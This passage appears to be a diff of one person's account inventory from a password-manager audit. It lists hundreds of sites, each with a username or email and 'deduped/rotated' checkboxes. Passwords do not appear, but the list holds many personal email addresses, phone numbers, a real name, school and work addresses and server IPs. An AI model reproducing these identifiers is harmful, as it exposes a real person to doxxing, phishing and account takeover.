**id.docker.com**: krisxkrazy +- [x] deduped [ ] rotated **invidious.krisyotam.com**: kris +- [x] deduped [ ] rotated **invidious.krisyotam.net**: krisyotam +**kriskrazy.pulseway.com**: + - [x] deduped [ ] rotated Safari Autofill Issue + - [x] deduped [ ] rotated administrator +- [x] deduped [ ] rotated **krispuremath.vercel.app**: (none) +- [x] deduped [ ] rotated **krisyotam.com**: krisyotam.com +- [x] deduped [ ] rotated **kyotam.com**: kris +- [ ] deduped [ ] rotated **localhost**: krisyotam@protonmail.com (2x) | **DIFF** +- [x] deduped [ ] rotated **login.docker.com**: krisxkrazy +- [x] deduped [ ] rotated **meta.krisyotam.com**: kris +- [x] deduped [ ] rotated **meta.sr.ht**: krisyotam +- [x] deduped [ ] rotated **micro.krisyotam.com**: krisyotam +- [x] deduped [ ] rotated **stargate**: krisyotam@protonmail.com +**supabase.com**: + - [x] deduped [ ] rotated comments + - [x] deduped [ ] rotated krisyotam's Project + - [x] deduped [ ] rotated krisyotam.com +- [x] deduped [ ] rotated **Vercel**: (none) [note] +- [x] deduped [ ] rotated **wisdom-2.vercel.app**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **wisdomweb-ectf.vercel.app**: krisyotam@protonmail.com + + +## Social Media + +- [x] deduped [ ] rotated **Bluesky**: krisyotam@outlook.com +**Discord**: + - [x] deduped [ ] rotated (none) [note] + - [x] deduped [ ] rotated 4nn0 d0m1n1 + - [x] deduped [ ] rotated Lael Yotam + - [x] deduped [ ] rotated M3m3nt0 m0r1 + - [x] deduped [ ] rotated R.I.P RF + - [x] deduped [ ] rotated chrissenpaiii@gmail.com + - [x] deduped [ ] rotated ee1026644@gmail.com + - [x] deduped [ ] rotated follina.py + - [x] deduped [ ] rotated jayden1102 + - [x] deduped [ ] rotated kris + - [x] deduped [ ] rotated kris@kriskrazy.com + - [x] deduped [ ] rotated kriskrazy + - [x] deduped [ ] rotated krisxkrazy + - [x] deduped [ ] rotated krisxkrazy3@gmail.com + - [x] deduped [ ] rotated krisxkrazy4@gmail.com + - [x] deduped [ ] rotated krisxkrazy@gmail.com + - [x] deduped [ ] rotated krisxsnipe@gmail.com + - [x] deduped [ ] rotated krisyotam@protonmail.com + - [x] deduped [ ] rotated laelyotam@gmail.com + - [x] deduped [ ] rotated laelyotam@protonmail.com + - [x] deduped [ ] rotated prettyboychris30@gmail.com + - [x] deduped [ ] rotated skyon360hz@gmail.com + - [x] deduped [ ] rotated slothofennui + - [x] deduped [ ] rotated u for uri + - [x] deduped [ ] rotated uriyotam + - [x] deduped [ ] rotated wakandaforever592@gmail.com + - [x] deduped [ ] rotated wondrboy04@gmail.com + - [x] deduped [ ] rotated yeskriswrites@gmail.com +**Facebook**: + - [x] deduped [ ] rotated 3128354741 + - [x] deduped [ ] rotated ccol0540@csd99.org + - [x] deduped [ ] rotated krisxsnipe@gmail.com + - [x] deduped [ ] rotated krisyotam@outlook.com +**GaiaOnline**: + - [x] deduped [ ] rotated KrisIsTaken + - [x] deduped [ ] rotated LavenderNOM + - [x] deduped [ ] rotated SedderSedder + - [x] deduped [ ] rotated chrisoflove9@gmail.com + - [x] deduped [ ] rotated laelyotam@gmail.com + - [x] deduped [ ] rotated yasugenshi@gmail.com + - [x] deduped [ ] rotated yoyokris157 +**Instagram**: + - [x] deduped [ ] rotated colmanfamily + - [x] deduped [ ] rotated deleteduser402738 + - [x] deduped [ ] rotated houseofyotam + - [x] deduped [ ] rotated jordan23legacy + - [x] deduped [ ] rotated krisxkrazy + - [x] deduped [ ] rotated krisxkrazy@gmail.com + - [x] deduped [ ] rotated krisyotam + - [x] deduped [ ] rotated kygivingfund + - [x] deduped [ ] rotated laelcorp + - [x] deduped [ ] rotated laelyotam + - [x] deduped [ ] rotated laniewontop + - [x] deduped [ ] rotated polymathiaco +**LinkedIn**: + - [x] deduped [ ] rotated 3128354741 + - [x] deduped [ ] rotated c1y.khr1st@gmail.com + - [x] deduped [ ] rotated kris@kriskrazy.com + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **linkedin.endocrine834@simplelogin.com**: (none) [alias] +- [x] deduped [ ] rotated **Mastodon**: krisyotam@outlook.com +**Pinterest**: + - [x] deduped [ ] rotated krisyotam@protonmail.com + - [x] deduped [ ] rotated yeskriswrites@gmail.com +**Reddit**: + - [ ] deduped [ ] rotated kriskrazy (4x) | **DIFF** + - [x] deduped [ ] rotated krisofakind + - [x] deduped [ ] rotated krisyotam + - [x] deduped [ ] rotated laelyotam +**Snapchat**: + - [x] deduped [ ] rotated krisofakind + - [x] deduped [ ] rotated krisxkrazy4@gmail.com + - [x] deduped [ ] rotated krisyotam +- [x] deduped [ ] rotated **Threads**: krisyotam +- [x] deduped [ ] rotated **TikTok**: krisyotam +**Twitter/X**: + - [x] deduped [ ] rotated aurora kris + - [x] deduped [ ] rotated kalamitymeta + - [x] deduped [ ] rotated krisctf + - [x] deduped [ ] rotated krisxkrazy + - [ ] deduped [ ] rotated krisxkrazy@gmail.com (8x) | **DIFF** + - [x] deduped [ ] rotated krisyotam + - [x] deduped [ ] rotated tiredundergrad + - [x] deduped [ ] rotated uriyotam +**VRChat**: + - [x] deduped [ ] rotated SkyIsTaken + - [x] deduped [ ] rotated kris@kriskrazy.com + - [x] deduped [ ] rotated krisofakind + - [x] deduped [ ] rotated krisxkrazy + - [x] deduped [ ] rotated laelyotam@gmail.com + - [x] deduped [ ] rotated skyalt2 + - [x] deduped [ ] rotated u for uri + + +## Gaming + +- [x] deduped [ ] rotated **aimchess.com**: laelyotam@gmail.com +**Blizzard**: + - [x] deduped [ ] rotated (none) + - [x] deduped [ ] rotated krisxkrazy@gmail.com +**Chess.com**: + - [x] deduped [ ] rotated krisofakind + - [x] deduped [ ] rotated krisxkrazy + - [x] deduped [ ] rotated krisyotam + - [x] deduped [ ] rotated laelyotam@gmail.com +**Epic Games**: + - [x] deduped [ ] rotated auroraaphroditeai@outlook.com + - [x] deduped [ ] rotated kris@kriskrazy.com + - [x] deduped [ ] rotated krisxkra + - [ ] deduped [ ] rotated krisxkrazy@gmail.com (4x) | **DIFF** + - [x] deduped [ ] rotated krisyotam@protonmail.com + - [x] deduped [ ] rotated rth87ty0gfd21reg@rambler.ru + - [x] deduped [ ] rotated s434.5.6.7.7@outlook.com +- [x] deduped [ ] rotated **GOG**: krisxkrazy +- [x] deduped [ ] rotated **gogoanime.wiki**: kris@kriskrazy.com +**lichess.org**: + - [x] deduped [ ] rotated krisyotam + - [x] deduped [ ] rotated krisyotam@outlook.com +- [x] deduped [ ] rotated **Nintendo**: Kris +**osu!**: + - [x] deduped [ ] rotated clickthisway + - [x] deduped [ ] rotated krisxkrazy +**PlayerAuctions**: + - [x] deduped [ ] rotated Donald Coleman + - [x] deduped [ ] rotated donald5505 + - [x] deduped [ ] rotated krisofakind + - [x] deduped [ ] rotated krisxsnipe@gmail.com + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **Riot Games**: krisxkrazy +**Roblox**: + - [x] deduped [ ] rotated kriskrazyy + - [x] deduped [ ] rotated skyswoke +**Steam**: + - [x] deduped [ ] rotated KrisIsKami + - [x] deduped [ ] rotated chrisoflove1 + - [ ] deduped [ ] rotated clickthisway2004@hotmail.com (12x) | **DIFF** + - [x] deduped [ ] rotated krisiskami +**Twitch**: + - [x] deduped [ ] rotated imkhr1st + - [x] deduped [ ] rotated kris_sama + - [x] deduped [ ] rotated kriskrazyy + - [x] deduped [ ] rotated krislsgod + - [x] deduped [ ] rotated krisxkrazy + - [x] deduped [ ] rotated onlykrisfr +- [x] deduped [ ] rotated **Ubisoft**: krisxkrazy@gmail.com + + +## Music + +- [x] deduped [ ] rotated **Genius**: krisyotam +- [x] deduped [ ] rotated **Last.fm**: krisyotam +**Pandora**: + - [x] deduped [ ] rotated chrissenpaiii@gmail.com + - [x] deduped [ ] rotated krisxkrazy@gmail.com +- [x] deduped [ ] rotated **SoundCloud**: krisyotam@outlook.com +**Spotify**: + - [x] deduped [ ] rotated krisxkrazy4@gmail.com + - [x] deduped [ ] rotated krisxkrazy@gmail.com + - [x] deduped [ ] rotated krisyotam@outlook.com + - [ ] deduped [ ] rotated krisyotam@protonmail.com (2x) | **DIFF** + - [x] deduped [ ] rotated theblackpanther5 +- [x] deduped [ ] rotated **TIDAL**: laelyotam@gmail.com + + +## Video & Streaming + +- [x] deduped [ ] rotated **Criterion**: krisyotam@protonmail.com +**Crunchyroll**: + - [x] deduped [ ] rotated crunchyroll@krisyotam.com + - [ ] deduped [ ] rotated krisxkrazy (8x) | **DIFF** + - [x] deduped [ ] rotated krisxkrazy@gmail.com +- [x] deduped [ ] rotated **dashboard.m1.com**: krisyotam@lcorpnow.com +- [x] deduped [ ] rotated **dashboard.rss.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **dashboard.usestyle.ai**: krisyotam@outlook.com +**Disney+**: + - [x] deduped [ ] rotated (none) + - [x] deduped [ ] rotated chrislamarcoleman@protonmail.com + - [x] deduped [ ] rotated krisyotam@protonmail.com +**Funimation**: + - [x] deduped [ ] rotated evansmall007@gmail.com + - [x] deduped [ ] rotated krisxkrazy@gmail.com + - [x] deduped [ ] rotated laelyotam@gmail.com +**HBO Max**: + - [x] deduped [ ] rotated mrstcoleman@gmail.com + - [x] deduped [ ] rotated swaytvgg@gmail.com +**Hulu**: + - [x] deduped [ ] rotated K2T6SGE + - [x] deduped [ ] rotated chrislamarcoleman@protonmail.com + - [x] deduped [ ] rotated krisxkrazy@gmail.com + - [x] deduped [ ] rotated krisyotam@protonmail.com + - [x] deduped [ ] rotated swaytvgg@gmail.com + - [x] deduped [ ] rotated yasugenshi@gmail.com +- [x] deduped [ ] rotated **MGM+**: krisyotam@outlook.com +**MUBI**: + - [x] deduped [ ] rotated krisyotam + - [x] deduped [ ] rotated krisyotam@protonmail.com +**my.roku.com**: + - [x] deduped [ ] rotated chris.diffrent@gmail.com + - [x] deduped [ ] rotated edwardsmall003@gmail.com +**Netflix**: + - [x] deduped [ ] rotated coachdonlamar@gmail.com + - [x] deduped [ ] rotated krisxkrazy4@gmail.com + - [x] deduped [ ] rotated krisxkrazy@gmail.com + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **Paramount+**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **Peacock**: chrislamarcoleman@protonmail.com + + +## Education + +**Alison**: + - [x] deduped [ ] rotated kris@kriskrazy.com + - [x] deduped [ ] rotated laelyotam@gmail.com + - [x] deduped [ ] rotated laelyotam@protonmail.com +- [x] deduped [ ] rotated **app.pluralsight.com**: (none) +- [x] deduped [ ] rotated **auth.skillshare.com**: krisyotam@protonmail.com +**Blinkist**: + - [x] deduped [ ] rotated laelyotam@protonmail.com + - [x] deduped [ ] rotated realcolemanfamily@gmail.com +- [x] deduped [ ] rotated **brilliant.org**: laelyotam@gmail.com +- [x] deduped [ ] rotated **codecademy.com**: colema2@iu.edu +**Codewars**: + - [x] deduped [ ] rotated Lael Yotam + - [x] deduped [ ] rotated ccoleman99@my.devry.edu +- [x] deduped [ ] rotated **coursera.org**: education.mantis373@aleeas.com +- [x] deduped [ ] rotated **Duolingo**: krisofakind +**Exercism**: + - [x] deduped [ ] rotated clickthisway2004@gmail.com + - [x] deduped [ ] rotated krisctf + - [x] deduped [ ] rotated laelyotam@protonmail.com +**HackerRank**: + - [x] deduped [ ] rotated ccol0540@csd99.org + - [x] deduped [ ] rotated kris@kriskrazy.com + - [x] deduped [ ] rotated laelyotam@gmail.com +- [ ] deduped [ ] rotated **Khan Academy**: laelyotam@gmail.com (6x) | **DIFF** +**LeetCode**: + - [x] deduped [ ] rotated khr1st + - [x] deduped [ ] rotated krisofakind + - [x] deduped [ ] rotated krisxkrazy +**SoloLearn**: + - [x] deduped [ ] rotated clickthisway2004@gmail.com + - [x] deduped [ ] rotated ihackgames314@gmail.com + - [x] deduped [ ] rotated kris@kriskrazy.com +**Teachable**: + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated laelyotam@gmail.com + - [x] deduped [ ] rotated laelyotam@protonmail.com +**Udemy**: + - [x] deduped [ ] rotated c1y_khr1st@outlook.com + - [x] deduped [ ] rotated education.mantis373@aleeas.com + - [x] deduped [ ] rotated krisxkrazy@gmail.com + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated laelyotam@protonmail.com +**www.codecademy.com**: + - [x] deduped [ ] rotated ihackgames314@gmail.com + - [x] deduped [ ] rotated khr1st + - [x] deduped [ ] rotated krisctf +- [ ] deduped [ ] rotated **www.duolingo.com**: krisofakind (4x) | **DIFF** + + +## Notes & Productivity + +**Evernote**: + - [x] deduped [ ] rotated c1y_khr1st@outlook.com + - [x] deduped [ ] rotated ccoleman99@my.devry.edu + - [x] deduped [ ] rotated chrislamarcoleman@protonmail.com + - [x] deduped [ ] rotated chrisoflove9@gmail.com + - [x] deduped [ ] rotated clickthisway2004@gmail.com + - [x] deduped [ ] rotated kris@kriskrazy.com + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated krisyotam@protonmail.com +- [x] deduped [ ] rotated **Notion**: colema2@iu.edu +- [x] deduped [ ] rotated **notion.so**: krisyotam@protonmail.com +**obsidian.md**: + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated krisyotam@protonmail.com +**Raindrop**: + - [x] deduped [ ] rotated kris + - [x] deduped [ ] rotated krisyotam + - [x] deduped [ ] rotated krisyotam@outlook.com +- [x] deduped [ ] rotated **TickTick**: (none) +- [x] deduped [ ] rotated **ticktick.com**: krisyotam@protonmail.com + + +## Creative & Marketing + +**Cutout Pro**: + - [x] deduped [ ] rotated ihackgames314@gmail.com + - [x] deduped [ ] rotated krisxkrazy3@gmail.com + - [x] deduped [ ] rotated yasugenshi@gmail.com +- [x] deduped [ ] rotated **deviantart.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **dribbble.com**: krisofakind +**Linktree**: + - [x] deduped [ ] rotated kriskrazy + - [x] deduped [ ] rotated krisxkrazy +**Pixiv**: + - [x] deduped [ ] rotated kris@kriskrazy.com + - [x] deduped [ ] rotated krisxkrazy + - [x] deduped [ ] rotated krisxkrazy@gmail.com + - [x] deduped [ ] rotated user_kwef4722 +- [x] deduped [ ] rotated **www.deviantart.com**: krisxkrazy +- [x] deduped [ ] rotated **www.figma.com**: kris@kriskrazy.com + + +## Jobs & Work + +- [x] deduped [ ] rotated **comcast.wd5.myworkdayjobs.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **dickssportinggoods.wd1.myworkdayjobs.com**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **fiverr.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **gamestop.wd5.myworkdayjobs.com**: clickthisway2004@gmail.com +- [x] deduped [ ] rotated **glassdoor.com**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **hcm.paycor.com**: chrislamarcoleman +- [x] deduped [ ] rotated **mattressfirm.wd1.myworkdayjobs.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **neogen.wd5.myworkdayjobs.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **netsecure.adp.com**: lamarcoleman +- [x] deduped [ ] rotated **online.adp.com**: lamarcoleman +- [x] deduped [ ] rotated **sjobs.brassring.com**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **solera.wd5.myworkdayjobs.com**: laelyotam@gmail.com +**Upwork**: + - [x] deduped [ ] rotated Starks + - [x] deduped [ ] rotated krisxkrazy@gmail.com + - [ ] deduped [ ] rotated krisyotam@outlook.com (3x) | **DIFF** + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **verizon.wd12.myworkdayjobs.com**: chrislamarcoleman@protonmail.com +**verizon.wd5.myworkdayjobs.com**: + - [x] deduped [ ] rotated clickthisway2004@gmail.com + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **www.ziprecruiter.com**: (none) +**xjobs.brassring.com**: + - [x] deduped [ ] rotated chrislamarcoleman@protonmail.com + - [x] deduped [ ] rotated clickthisway2004@gmail.com +- [x] deduped [ ] rotated **ziprecruiter.com**: chrislamarcoleman@protonmail.com + + +## Email & Communication + +- [x] deduped [ ] rotated **login.yahoo.com**: krisyotam@yahoo.com +- [x] deduped [ ] rotated **mail.tutanota.com**: lcorp@tutanota.com +- [x] deduped [ ] rotated **mailadmin.zoho.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **onionmail.org**: krisxkrazy +- [x] deduped [ ] rotated **signup.webex.com**: (none) +- [x] deduped [ ] rotated **us06web.zoom.us**: (none) +- [x] deduped [ ] rotated **www.creativelive.com**: (none) +- [x] deduped [ ] rotated **Yahoo Mail**: krisyotam@yahoo.com + + +## Telecom + +- [x] deduped [ ] rotated **account.t-mobile.com**: christian.coleman89@t-mobile.com +- [ ] deduped [ ] rotated **idm.xfinity.com**: (none) (6x) | **DIFF** +- [x] deduped [ ] rotated **ilogin.verizon.com**: colch2y +- [x] deduped [ ] rotated **login.xfinity.com**: laelyotam@comcast.net +**My Verizon**: + - [x] deduped [ ] rotated (none) + - [x] deduped [ ] rotated 3318019271 + - [ ] deduped [ ] rotated 7734575468 (2x) | **DIFF** +- [x] deduped [ ] rotated **sts3.t-mobile.com**: christian.coleman89@t-mobile.com +- [x] deduped [ ] rotated **t-mobile.okta.com**: ccolema89 +**Verizon Home**: + - [x] deduped [ ] rotated (none) + - [x] deduped [ ] rotated 3318019271 +- [x] deduped [ ] rotated **verizon.com**: krisyotam + + +## Cloud Storage + +- [x] deduped [ ] rotated **account.box.com**: kriskrazy@icloud.com +- [x] deduped [ ] rotated **drawabox.com**: krisyotam +**MEGA**: + - [x] deduped [ ] rotated krisxkrazy2@gmail.com + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated laelyotam@gmail,com + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **support.nextcloud.com**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **www.dropbox.com**: kriskrazy@icloud.com + + +## Other + +**(Unnamed)**: + - [x] deduped [ ] rotated ee1026644@gmail.com + - [x] deduped [ ] rotated kris@kriskrazy.com + - [x] deduped [ ] rotated kriskrazyy + - [ ] deduped [ ] rotated krisxkrazy@gmail.com (2x) | **DIFF** + - [x] deduped [ ] rotated krisyotam + - [ ] deduped [ ] rotated krisyotam@outlook.com (2x) | **DIFF** + - [x] deduped [ ] rotated laelyotam + - [x] deduped [ ] rotated laelyotam@gmail.com + - [x] deduped [ ] rotated laelyotam@protonmail.com + - [x] deduped [ ] rotated realcolemanfam@gmail.com + - [x] deduped [ ] rotated skyon360hz@gmail.com +- [x] deduped [ ] rotated **100.74.152.79**: kris +- [x] deduped [ ] rotated **10fastfingers.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **1614.3cx.cloud**: 14310 +- [x] deduped [ ] rotated **192.168.1.250**: krisxkrazy +**2captcha.com**: + - [x] deduped [ ] rotated (none) [alias] + - [x] deduped [ ] rotated 2captcha.unsliced694@passinbox.com +- [x] deduped [ ] rotated **37.27.244.124**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **3cx.com**: (none) +- [x] deduped [ ] rotated **46.62.171.220**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **4thewords.com**: krisyotam@outlook.com +**50-116-60-214.ip.linodeusercontent.com:3000**: + - [x] deduped [ ] rotated beef + - [x] deduped [ ] rotated kris@kriskrazy.com +- [x] deduped [ ] rotated **750words.com**: krisyotam +**9anime.vc**: + - [x] deduped [ ] rotated kris + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **academy.networkchuck.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **access.clarivate.com**: krisyotam@protonmail.com +**access.iu.edu**: + - [x] deduped [ ] rotated (none) + - [x] deduped [ ] rotated ccoleman +**access.wgu.edu**: + - [x] deduped [ ] rotated clickthisway2004@gmail.com + - [x] deduped [ ] rotated laelyotam@gmail.com +**account.beacons.ai**: + - [x] deduped [ ] rotated c1y.khr1st@gmail.com + - [x] deduped [ ] rotated elaraleclair@protonmail.com + - [x] deduped [ ] rotated krisyotam@outlook.com +- [x] deduped [ ] rotated **account.docusign.com**: krisyotam@outlook.com +**account.ghost.org**: + - [x] deduped [ ] rotated c1y.khr1st@gmail.com + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated krisyotam@protonmail.com +- [x] deduped [ ] rotated **account.masterworks.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **account.masterworks.io**: laelyotam@protonmail.com +- [x] deduped [ ] rotated **account.neosvr.com**: krisofakind +- [x] deduped [ ] rotated **account.nicovideo.jp**: laelyotam@gmail.com +- [x] deduped [ ] rotated **account.roon.app**: krisyotam@protonmail.com +- [ ] deduped [ ] rotated **account.safing.io**: TerrenceUlyssesHaag (3x) | **DIFF** +- [x] deduped [ ] rotated **account.skrill.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **account.termius.com**: laelyotam@protonmail.com +**account.wolfram.com**: + - [x] deduped [ ] rotated colema2@iu.edu + - [x] deduped [ ] rotated krisyotam@outlook.com +- [x] deduped [ ] rotated **account.y8.com**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **accounts-sandbox.dwolla.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **accounts.asa.org**: krisyotam@outlook.com +**accounts.autodesk.com**: + - [x] deduped [ ] rotated ccoleman99@my.devry.edu + - [x] deduped [ ] rotated colema2@iu.edu +- [x] deduped [ ] rotated **accounts.bandlab.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **accounts.clickbank.com**: laelyotam@gmail.com +**accounts.dabblewriter.com**: + - [x] deduped [ ] rotated clickthisway2004@gmail.com + - [x] deduped [ ] rotated ihackgames314@gmail.com + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **accounts.firefox.com**: kris@kriskrazy.com +- [x] deduped [ ] rotated **accounts.frame.io**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **accounts.kaleido.ai**: kriskrazy@icloud.com +- [x] deduped [ ] rotated **actualized.org**: Kris Yotam +- [x] deduped [ ] rotated **admin.typeform.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **Affine**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **alignmentforum.org**: krisyotam +- [x] deduped [ ] rotated **allmylinks.com**: c1y_khr1st@outlook.com +- [x] deduped [ ] rotated **altenens.is**: khr1st +- [x] deduped [ ] rotated **amc.cloud.infor.com**: 1535073 +- [x] deduped [ ] rotated **amcallaccess.com**: clickthisway2004@gmail.com +**amctheatres.com**: + - [x] deduped [ ] rotated clickthisway2004@gmail.com + - [x] deduped [ ] rotated krisyotam@protonmail.com +- [x] deduped [ ] rotated **anasaea.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **Ancestry**: krisyotam +- [x] deduped [ ] rotated **ancestry.apps.android.ancestry.com**: krisyotam@outlook.com +**ancestry.com**: + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated krisyotam@protonmail.com +- [x] deduped [ ] rotated **anilist.co**: krisxkrazy@gmail.com +**ankiweb.net**: + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated krisyotam@protonmail.com +- [x] deduped [ ] rotated **annas-archive.org**: ARwEgm2 +- [x] deduped [ ] rotated **Anytype**: (none) [note] +- [x] deduped [ ] rotated **api.legalshield.com**: cchristiancoleman +- [x] deduped [ ] rotated **app.4thewords.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **app.8fig.co**: krisyotam@lcorpnow.com +- [x] deduped [ ] rotated **app.addy.io**: krisyotam +- [x] deduped [ ] rotated **app.alpaca.markets**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **app.asana.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **app.biorender.com**: colema2@iu.edu +- [x] deduped [ ] rotated **app.brand24.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **app.brightside.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **app.capacities.io**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **app.clickup.com**: laelyotam@gmail.com +**app.contentful.com**: + - [x] deduped [ ] rotated krisyotam.com + - [x] deduped [ ] rotated krisyotam@protonmail.com +- [x] deduped [ ] rotated **app.convertkit.com**: krisyotam@outlook.com +**app.dabblewriter.com**: + - [x] deduped [ ] rotated Kris Yotam + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **app.delenta.com**: Kris Yotam +- [x] deduped [ ] rotated **app.element.io**: ihackgames314@gmail.com +**app.expandi.io**: + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated laelyotam@gmail.com +- [x] deduped [ ] rotated **app.filen.io**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **app.fronty.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **app.hey.com**: krisyotam@hey.com +- [x] deduped [ ] rotated **app.hihello.me.play**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **app.itpro.tv**: laelyotam@gmail.com +- [x] deduped [ ] rotated **app.kortex.co**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **app.later.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **app.lexchart.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **app.litmaps.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **app.lobstr.io**: krisyotam@outlook.com +- [x] deduped [ ] rotated **app.metricool.com**: laelyotam@protonmail.com +- [x] deduped [ ] rotated **app.milanote.com**: kris@laelyotam.com +- [x] deduped [ ] rotated **app.mochi.cards**: krisyotam@protonmail.com +**app.monarch.com**: + - [x] deduped [ ] rotated chrislamarcoleman@protonmail.com + - [x] deduped [ ] rotated krisyotam@protonmail.com +**app.monarchmoney.com**: + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated krisyotam@protonmail.com +**app.notesnook.com**: + - [ ] deduped [ ] rotated krisyotam@protonmail.com (2x) | **DIFF** + - [x] deduped [ ] rotated laelyotam@gmail.com + - [x] deduped [ ] rotated laelyotam@protonmail.com +- [x] deduped [ ] rotated **app.outlier.ai**: krisyotam@outlook.com +- [x] deduped [ ] rotated **app.paperbell.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **app.plane.so**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **app.podia.com**: krisyotam@outlook.com +**app.privacy.com**: + - [x] deduped [ ] rotated chrislamarcoleman@protonmail.com + - [x] deduped [ ] rotated krisyotam@outlook.com +- [x] deduped [ ] rotated **app.protolyst.org**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **app.runwayml.com**: krisyotam +- [x] deduped [ ] rotated **app.sahha.ai**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **app.simplelogin.io**: laelyotam@gmail.com +**app.simplenote.com**: + - [x] deduped [ ] rotated c1y.khr1st@gmail.com + - [x] deduped [ ] rotated krispuremaths@gmail.com +**app.sophia.org**: + - [x] deduped [ ] rotated laelyotam@gmail.com + - [x] deduped [ ] rotated laelyotam@protonmail.com +**app.standardnotes.com**: + - [x] deduped [ ] rotated krispuremaths@gmail.com + - [x] deduped [ ] rotated krisyotam@outlook.com +- [x] deduped [ ] rotated **app.synthesia.io**: laelyotam@gmail.com +- [x] deduped [ ] rotated **app.thestorygraph.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **app.usemotion.com**: (none) +- [x] deduped [ ] rotated **app.zayzoon.com**: ccoleman@mobilegenerationinc.com +- [x] deduped [ ] rotated **apply.2u.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **apply.commonapp.org**: krisyotam@outlook.com +- [x] deduped [ ] rotated **apply.cred.ai**: (none) +- [x] deduped [ ] rotated **apply.uis.edu**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **apps.niu.edu**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **archive.org**: education.mantis373@aleeas.com +**are.na**: + - [x] deduped [ ] rotated krisxkrazy@gmail.com + - [x] deduped [ ] rotated krisyotam@protonmail.com +- [x] deduped [ ] rotated **artgalleria.com**: krisyotam@protonmail.com +**artofproblemsolving.com**: + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated krisyotam@protonmail.com +- [x] deduped [ ] rotated **artsy.net**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **artvee.com**: krisyotam +- [x] deduped [ ] rotated **atcoder.jp**: khr1st +- [x] deduped [ ] rotated **auth.aimlab.gg**: laelyotam@gmail.com +- [x] deduped [ ] rotated **auth.citi.com**: cc0leman +- [x] deduped [ ] rotated **auth.cookunity.com**: chrislamarcoleman@protonmail.com +- [x] deduped [ ] rotated **auth.getvibrato.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **auth.hyperwriteai.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **auth.kortex.co**: krisyotam@outlook.com +- [x] deduped [ ] rotated **auth.later.com**: krisyotam@outlook.com +**auth.monday.com**: + - [x] deduped [ ] rotated Kris Krazy + - [x] deduped [ ] rotated kris@kriskrazy.com +- [x] deduped [ ] rotated **auth.oculus.com**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **auth.prageru.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **auth.rambox.app**: skyon360hz@gmail.com +- [x] deduped [ ] rotated **auth.services.adobe.com**: ccoleman99@my.devry.edu +**auth.udacity.com**: + - [x] deduped [ ] rotated kris@kriskrazy.com + - [x] deduped 